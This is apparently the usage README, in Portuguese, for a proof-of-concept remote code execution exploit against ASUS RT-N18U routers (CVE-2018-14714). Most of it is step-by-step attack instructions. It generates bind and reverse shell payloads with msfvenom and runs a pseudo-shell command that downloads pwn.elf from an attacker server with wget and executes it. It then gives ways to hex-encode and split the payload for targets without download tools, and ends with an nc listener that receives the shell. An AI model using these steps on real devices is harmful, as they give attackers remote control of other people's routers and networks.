
ASUS wifi router RCE vulnerability
Vulnerabilidade RCE em roteador wifi ASUS
Este PoC é apenas para fins de aprendizado e pesquisa. Não o use para atividades ilegais; você é o único responsável por quaisquer consequências legais.
Na demonstração abaixo, o modelo de dispositivo testado é um ASUS RT-N18U, a versão do firmware é 3.0.0.4.378.9216., um roteador que comprei durante meus anos de universidade. Agora é minha máquina de teste :)
Condições de exploração
Você precisa instalar as dependências:
$ python3 -m pip install requestsExecute o script diretamente para obter instruções de uso. Você pode executar o comando abaixo para verificar se o alvo é vulnerável.
$ python3 CVE-2018-14714-RCE_PoC.py <target> <user> <password>

Você pode usar o comando msfvenom para gerar um executável binário leve de reverse shell. Você pode modificar os parâmetros de acordo com o ambiente do kernel que está usando. No meu caso, é armv7l, e o comando é o seguinte:
Bind shell
$ msfvenom -p linux/armle/shell_bind_tcp LPORT=4444 -f elf -o pwn.elf

Reverse shell
$ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o pwn.elf

Se o seu dispositivo alvo tiver o comando wget disponível, após iniciar a escuta na porta 4444, você pode usar o seguinte comando em um pseudo-shell para obter um reverse shell:
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell
shell> cd /tmp && wget http://YourServer/pwn.elf -O pwn.elf && chmod +x ./pwn.elf && ./pwn.elf
Se o seu ambiente alvo não tiver nenhum comando de acesso a recursos remotos embutido, continue lendo.
Converta o arquivo binário gerado em dados binários.
$ for i in `cat pwn.elf | xxd -p`;do echo -n $i;done
$ python3 -c 'a=input("binary data:");print("echo -ne \"",end="");print(*[f"\\x{a[i:i+2]}" for i in range(0,len(a),2)],sep="",end="");print("\"")'

Para confirmar a existência de uma vulnerabilidade no alvo, execute novamente o script Python com os parâmetros shell adicionados para entrar em um pseudo-shell interativo. Observe que é normal que os comandos não produzam saída, pois não há lugar para receber stdout. No entanto, usar o comando sleep pode ajudar a verificar se os comandos foram realmente executados.

Além disso, é importante notar que, com base nos testes, a linha de comando permite no máximo 1022 caracteres. Você precisa construir comandos com menos de 1022 caracteres. Portanto, você precisará dividir manualmente o payload e executá-lo em partes para garantir que nosso comando seja executado com sucesso.

Em seguida, vamos obter um reverse shell real. Você pode começar ouvindo na porta especificada.
$ nc -lvnp 4444
Execute o script Python PoC para obter um pseudo-shell para injetar o payload.
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell

Finalmente, tudo o que resta é aproveitar o reverse shell adquirido :)
